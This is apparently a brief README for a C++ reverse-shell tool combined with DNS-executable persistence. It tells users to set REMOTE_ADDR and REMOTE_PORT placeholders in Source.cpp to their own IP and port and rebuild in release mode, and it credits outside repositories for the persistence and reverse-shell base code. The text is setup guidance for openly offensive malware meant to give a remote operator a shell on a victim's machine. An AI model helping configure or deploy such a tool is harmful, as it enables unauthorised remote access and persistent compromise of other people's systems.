Simply change the given below in line 8 and 9 in Source.cpp
#define REMOTE_ADDR "IP"
#define REMOTE_PORT "PORT"
and rebuild in release mode
All thanks to https://github.com/dim0x69/dns-exe-persistance for providing us with the barebones source code and https://github.com/tudorthe1ntruder/reverse-shell-poc/blob/master/rs.c for the base C++ code for making reverse shells in C++